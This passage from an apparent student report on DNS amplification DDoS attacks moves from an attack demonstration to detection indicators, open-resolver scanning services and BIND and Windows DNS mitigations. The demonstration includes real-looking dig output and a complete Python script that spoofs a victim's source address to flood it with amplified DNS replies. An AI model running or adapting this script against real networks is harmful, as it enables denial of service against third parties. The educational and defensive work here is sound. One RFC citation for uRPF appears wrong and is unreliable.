;; flags: qr aa rd; QUERY: 1, ANSWER: 236, AUTHORITY: 2, ADDITIONAL: 2
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;fkfkfkfc(.)biz. IN A
;; ANSWER SECTION:
fkfkfkfc(.)biz. 86400 IN A 204.46.43.157
fkfkfkfc(.)biz. 86400 IN A 204.46.43.158
fkfkfkfc(.)biz. 86400 IN A 204.46.43.159
fkfkfkfc(.)biz. 86400 IN A 204.46.43.160
… Repeated hundreds of times …
fkfkfkfc(.)biz. 86400 IN A 204.46.43.154
fkfkfkfc(.)biz. 86400 IN A 204.46.43.155
fkfkfkfc(.)biz. 86400 IN A 204.46.43.156
;; AUTHORITY SECTION:
fkfkfkfc(.)biz. 86400 IN NS ns21.fkfkfkfc.biz.
fkfkfkfc(.)biz. 86400 IN NS ns22.fkfkfkfc.biz.
;; ADDITIONAL SECTION:
ns21.fkfkfkfc(.)biz. 86400 IN A 109.235.51.184
ns22.fkfkfkfc(.)biz. 86400 IN A 109.235.51.184
;; Query time: 190 msec
;; SERVER: 109.235.51.184#53(109.235.51.184)
;; WHEN: Sat Mar 1 20:17:45 2014
;; MSG SIZE rcvd: 3876
As you can see a request that is only 64 bytes becomes 3876 bytes sent to the victim. A recent
attack measured by Cloudflare weighed in at 400Gbps, one of the largest attacks seen to date.
That would require an attacker issuing over 200,000 of the above requests per second to open
7
resolvers around the globe. We notice that while the custom crafted domains used in these
attacks do change, it’s not very often, sometimes lasting many weeks.
We can demonstrate a DNS Amplification attack by a following program. This sends DNS
requests to a DNS server that will be amplified and sent to a target machine.
#!/usr/bin/python
import socket import string import struct import random import sys from impacket import ImpactPacket def main(): if not (len(sys.argv) == 3): print "Syntax:" print " python amplify-dns.py <dns-server> <target>" print " dns-server is the IP address of the DNS server who's replies will be redirected to the target." print " target is the IP address of the attack target." print exit() server_address = (sys.argv[1], 53) target_address = (sys.argv[2], 8080) # Create a UDP/IP socket sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) try: sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) #sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #sock.bind(target_address) # spoof sender address so response goes to the target random.seed() # randome used to generate unique-(ish) Transaction IDs ip = ImpactPacket.IP() ip.set_ip_src(target_address[0]) ip.set_ip_dst(server_address[0]) udp = ImpactPacket.UDP() udp.set_uh_sport(target_address[1]) udp.set_uh_dport(server_address[1]) ip.contains(udp) request_msg = create_dns_request("www.cs6250.com") while True: # Replace Transaction ID on each retransmission (so they look unique) request_msg[0] = struct.pack('!BB', random.randint(0, 255), random.randint(0, 255)) udp.contains(ImpactPacket.Data("".join(request_msg))) sock.sendto(ip.get_packet(), server_address) finally: sock.close() def create_dns_request_header(): header = [] # Transaction ID header.append(struct.pack('!BB', random.randint(0, 255), random.randint(0, 255))) # Flags: # QR=0 (query)
8
# OPCODE=0 QUERY (standard query) # AA=0 (this flag not valid for requests) # TC=0 (message not truncated) # RD=1 (recursive query) # RA=0 (this flag not valid for requests) # Z=0 (this flag reserved for future use; required to be 0) # RCODE=0 (this flag not valid for requests) header.append(struct.pack('!BB', 1, 0)) # QDCOUNT=1, ANCOUNT=0, NSCOUNT=0, and ARCOUNT=0 header.append(struct.pack('!HHHH', 1, 0, 0, 0)) return header def create_dns_request(query_domain): query = create_dns_request_header() # QNAME=query_domain parameter domain_parts = string.split(query_domain, ".") for part in domain_parts: query.append(struct.pack('!B', len(part))) query.append(part) query.append(struct.pack('!B', 0)) # QTYPE=A, QCLASS=IN query.append(struct.pack('!HH', 1, 1)) return query main()
Section 3: Detection
Indicators
In a typical recursive DNS query, a client sends a query request to a local DNS server requesting
the resolution of a name or the reverse resolution of an IP address. The DNS server performs the
necessary queries on behalf of the client and returns a response packet with the requested
information or an error. The specification does not allow for unsolicited responses. In a DNS
amplification attack, the main indicator is a query response without a matching request.
The first symptom you will see is that your server is unresponsive over the network. If you have
an out-of-band connection, the server will probably have a low load.
If you suspect a reflected DNS attack, you can use tcpdump to look for a large number of DNS
responses arriving that you didn't ask for. Keeping track of requests and responses can be
difficult but if you aren't making any requests, then all the responses are part of the attack.
tcpdump -A -n dst port 53 and not host <local IP address>
The -n option is important here because it tells tcpdump not to do DNS lookups, which under this
kind of attack will time out. The <local IP address> should obviously be replaced with your
outbound IP address.
9
While it is not easy to identify authoritative name servers used in DNS reflection attacks as
vulnerability is not caused by a misconfiguration, there are several freely available options for
detecting open recursive resolvers. Several organizations offer free, web-based scanning tools
that will search a network for vulnerable open DNS resolvers. These tools will scan entire
network ranges and list the address of any identified open resolvers.
Open DNS Resolver Project
The Open DNS Resolver Project has compiled a list of DNS servers that are known to serve as
globally accessible open resolvers. The query interface allows network administrators to enter IP
ranges in CIDR format.
The Measurement Factory
Like the Open DNS Resolver Project, the Measurement Factory maintains a list of Internet
accessible DNS servers and allows administrators to search for open recursive resolvers. In
addition, the Measurement Factory offers a free tool to test a single DNS resolver to determine if
it allows open recursion. This will allow an administrator to determine if configuration changes
are required and verify that configuration changes have been successful. Finally, the site offers
statistics showing the number of public resolvers detected on the different Autonomous System
(AS) networks, sorted by the highest number found.
DNSInspect
Another freely available, web-based tool for testing DNS resolvers is DNSInspect. This site is
similar to The Measurement Factory’s ability to assess an individual resolver for vulnerability,
but offers the ability to test an entire DNS Zone for several other possible configuration and
security issues.
Section 4: Mitigation:
Unfortunately, due to the massive traffic volume that can be produced by one of these attacks,
there is often little that the victim can do to counter a large-scale DNS amplification-based
distributed denial-of-service attack. However, it is possible to reduce the number of servers that
can be used by attackers to generate the traffic volumes.
While the only effective means of eliminating the use of recursive resolvers in this type of attack
is to eliminate unsecured recursive resolvers, this requires an extensive effort by various parties.
According to the Open DNS Resolver Project, of the 27 million known DNS resolvers on the
Internet, approximately “25 million pose a significant threat” of being used in an attack.
However, several possible techniques are available to reduce the overall effectiveness of such
attacks to the Internet community as a whole
10
Source IP Verification
Because the DNS queries being sent by the attacker-controlled clients must have a source
address spoofed to appear as the victim’s system, the first step to reducing the effectiveness of
DNS amplification is for Internet Service Providers to reject any DNS traffic with spoofed
addresses. The Network Working Group of the Internet Engineering Task Force released Best
Current Practice 38 document in May 2000 and Best Current Practice 84 in March 2004 that
describes how an Internet Service Provider can filter network traffic on their network to reject
packets with source addresses not reachable via the actual packet’s path. The changes
recommended in this document would cause a routing device to evaluate whether it is possible to
reach the source address of the packet via the interface that transmitted the packet. If it is not
possible, then the packet obviously has a spoofed source address. This configuration change
would substantially reduce the potential for most popular types of DDoS attacks. As such, we
highly recommend to all network operators to perform network ingress filtering if possible.
Disabling Recursion on Authoritative Name Servers
Many of the DNS servers currently deployed on the Internet are exclusively intended to provide
name resolution for a single domain. In these systems, DNS resolution for private client systems
may be provided by a separate server and the authoritative server acts only as a DNS source of
zone information to external clients. These systems do not need to support recursive resolution of
other domains on behalf of a client, and should be configured with recursion disabled.
Bind9
Add the following to the global options:
options {
allow-query-cache { none; };
recursion no;
};
Microsoft DNS Server
In the Microsoft DNS console tool:
1. Right-click the DNS server and click Properties.
2. Click the Advanced tab.
3. In Server options, select the “Disable recursion” check box, and then click OK.
Limiting Recursion to Authorized Clients
For DNS servers that are deployed within an organization or Internet Service Provider, the
resolver should be configured to perform recursive queries on behalf of authorized clients only.
These requests typically should only come from clients within the organization’s network
address range. We highly recommend that all server administrators restrict recursion to only
clients on the organization’s network.
BIND9
In the global options, include the following:
acl corpnets { 192.168.1.0/24; 192.168.2.0/24; };
11
options {
allow-query { any; };
allow-recursion { corpnets; };
};
Microsoft DNS Server
It is not currently possible to restrict recursive DNS requests to a particular client address range
in Microsoft DNS Server. To approximate the functionality of the BIND access control lists in
Microsoft’s DNS Server, a different caching-only name server should be set up internally to
provide recursive resolution. A firewall rule should be created to block incoming access to the
caching-only server from outside the organization’s network. The authoritative name server
functionality would then need to be hosted on a separate server, but configured to disable
recursion as previously described.
Response Rate Limiting (RRL)
There is currently an experimental feature available as a set of patches for BIND9 that allows an
administrator to limit the maximum number of responses per second being sent to one client
from the name server. This functionality is intended to be used on authoritative domain name
servers only as it will affect performance on recursive resolvers. To provide the most effective
protection, we recommend that authoritative and recursive name servers run on different
systems, with RRL implemented on the authoritative server and access control lists implemented
on the recursive server. This will reduce the effectiveness of DNS amplification attacks by
reducing the amount of traffic coming from any single authoritative server while not affecting
the performance of the internal recursive resolvers.
BIND9
There are currently patches available for 9.8.latest and 9.9.latest to support RRL on UNIX
systems. Red Hat has made updated packages available for Red Hat Enterprise Linux 6 to
provide the necessary changes in advisory RHSA-2013:0550-1. On BIND9 implementation
running the RRL patches, include the following lines to the options block of the authoritative
views :
rate-limit {
responses-per-second 5;
window 5;
};
Some things that you can do to help prevent DNS amplification attacks include:
Do not place open DNS resolvers on the Internet. Limiting the clients that can access the
resolver greatly decreases the ability of an attacker to use it maliciously. This can be
accomplished using firewall rules, router IP access lists, or other methods.
Prevent IP address spoofing by configuring Unicast Reverse Path Forwarding (URPF) on
network routers. A router configured to use URPF (defined in RFC3074) limits an attacker’s
ability to spoof packets by comparing the packet’s source address with its internal routing
tables to determine if the address is plausible. If not, the packet is discarded.
12
Deploy an intrusion prevention system (IPS) device or monitor DNSSEC traffic in some way.
Large numbers of outgoing packets with the same target address, especially whose count
suddenly spikes, is a good indicator of an active attack. Deploying filters to drop, limit, or
delay the incoming suspect packets should lessen the impact of the attack on the local network
and attack target. As previously mentioned, Windows DNS servers drop unmatched response
packets and log them in performance and statistics counters. It is important to regularly
monitor these counters.
Section 5: Future Prospective Of Attack:
DDoS attacks are rising as a threat. Over the last few years, these attacks have grown in intensity
and now have traffic volumes of up to 400 Gbps. These attacks are easy to carry out and do not
require great knowledge or access to zero-day vulnerabilities. The duration of the attacks is often
just a few hours or even minutes, but this can be enough to inflict a lot of damage at the target
site. Currently, amplification or reflection attacks are the most popular attack. These attacks use
DNS or NTP servers to amplify the attack traffic by a factor of 50-100 times. This allows small
botnets to conduct huge volumetric attacks. Many initiatives can help to protect reflection
servers, but there are still more than enough open amplifiers that can be misused. In 2015, we
have noticed an increase in compromised Unix servers being used to launch attacks. They are of
great interest to the attacker, since they provide a large bandwidth. DDoS botnets can be rented
as a service starting at $5 for small attacks.
Application-layer attacks, which target the Web application, are gaining in importance as well as
they are difficult to mitigate. They will become even more important in the future as often,
attackers adapt their methods during an attack in an attempt to bypass any short term defense
mechanism. In the future, we might see more DDoS attacks coming from mobile devices or even
the Internet of Things, but this is currently not happening on a large scale.
The motivation of the attacker can vary widely, with hacktivism, profit, and disputes being the
main reasons. Considering the ease of conducting large DDoS attacks, Symantec expects that the
DDoS growth trend will continue in the future. The likelihood of being targeted by short but
intensive DDoS attacks is rising.
Some companies try to over-provision bandwidth resources to defend themselves against
potential DDoS attacks. However, this arms race is very expensive to win. It is more important to
be prepared for DDoS attacks and have an ncident response plan ready. Talk to the upstream
provider and ensure that they are aware of this threat and check what benefits the utilization of
DDoS protection services can bring.
13
References
1 Glenn C., Kesidis, G., Brooks, R. R. and Suresh Rai, “Denial-of-Service Attack-Detection
Techniques” IEEE Internet computing 2006.
2 Peng, T., Leckie, C. and Kotagiri, R., "Survey of Network-based Defense Mechanisms
Countering the DoS and DDoS Problems", to appear in ACM Computing Surveys.
3 Mirkovic, J. et al., Internet Denial of Service: Attack and Defense Mechanism.
4 Security and Stability Advisory Committee, “DNS Distributed Denial of Service (DDoS)
Attacks”, http://www.icann.org/committees/security/dns-ddos-advisory-31mar06.pdf, March
2006.
5 (Alert (TA13-088A) US CERT 2013) DNS Amplification Attacks
https://www.us-cert.gov/ncas/alerts/TA13-088A
6 Mockapetris P., “Domain Names – Concepts and Facilities”, RFC 1034, November 1987.
